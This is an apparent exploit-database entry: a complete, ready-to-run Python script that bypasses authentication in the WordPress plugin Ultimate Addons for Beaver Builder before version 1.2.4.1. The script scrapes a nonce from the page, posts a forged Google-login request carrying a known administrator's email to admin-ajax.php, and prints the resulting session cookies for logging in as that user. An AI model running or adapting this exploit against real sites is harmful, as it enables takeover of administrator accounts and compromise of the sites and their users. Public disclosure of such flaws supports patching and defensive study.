WordPress Ultimate Addons For Beaver Builder 1.2.4.1 Authentication Bypass

`# Exploit Title: Wordpress Ultimate Addons for Beaver Builder 1.2.4.1 - Authentication Bypass  
# Date: 2019-12-21  
# Exploit Authors: Raphael Karger & Nathan Hrncirik  
# Vendor Homepage: https://www.ultimatebeaver.com/  
# Version: Ultimate Addons for Beaver Builder < 1.2.4.1  
'''  
  
Requirements:  
* Valid Admin/User Email Needs to be Known  
* Social Media Login Form has to be Embedded in the Specified URL  
  
'''  
  
#!/usr/bin/python3  
  
import requests  
import urllib.parse  
import json  
import argparse  
  
banner = r''' ____ ___ _____ _______________________________ .__ .__ __   
| | \/ _ \\______ \______ \_ _____/__ _________ | | ____ |__|/ |_   
| | / /_\ \| | _/| | _/| __)_\ \/ /\____ \| | / _ \| \ __\  
| | / | \ | \| | \| \> < | |_> > |_( <_> ) || |   
|______/\____|__ /______ /|______ /_______ /__/\_ \| __/|____/\____/|__||__|   
\/ \/ \/ \/ \/|__|   
Ultimate Addons for Beaver Builder < 1.2.4.1 - Authentication Bypass  
'''  
  
class exploit(object):  
def __init__(self, page, email):  
self.page = page  
self.sess = requests.Session()  
self.email = email  
self.nonce = False  
  
def get_nonce(self):  
try:  
nonce_req = self.sess.get(self.page)  
if nonce_req.text.find("data-nonce=") != -1:  
self.nonce = nonce_req.text.split("data-nonce=")[1].split(">")[0]  
except Exception as e:  
print("Nonce Error: {}".format(e))  
  
def auth_bypass(self):  
try:  
schema = urllib.parse.urlparse(self.page)  
resp = self.sess.post("{}://{}/wp-admin/admin-ajax.php".format(schema.scheme, schema.netloc), data={  
"action" : "uabb-lf-google-submit",  
"name" : "raphaelrocks",  
"email" : self.email,  
"nonce" : self.nonce  
})  
if resp.status_code == 200:  
print("Exploit Successful, Use the Cookies to Login: \n{}".format(  
json.dumps(self.sess.cookies.get_dict(), indent=4)  
))  
except Exception as e:  
print("Auth Bypass Error: {}".format(e))  
  
def begin_exploit(self):  
self.get_nonce()  
if self.nonce:  
print("Found Nonce: {}".format(self.nonce))  
self.auth_bypass()  
else:  
print("Failed to Gather Nonce")  
  
if __name__ == "__main__":  
print(banner)  
parser = argparse.ArgumentParser()  
parser.add_argument("-e", "--email", dest="email", help="Email of Administrator User/Privileged User", required=True)  
parser.add_argument("-u", "--url", dest="url", help="URL With Social Media Login Form", required=True)  
args = parser.parse_args()  
ex = exploit(args.url, args.email)  
ex.begin_exploit()  
`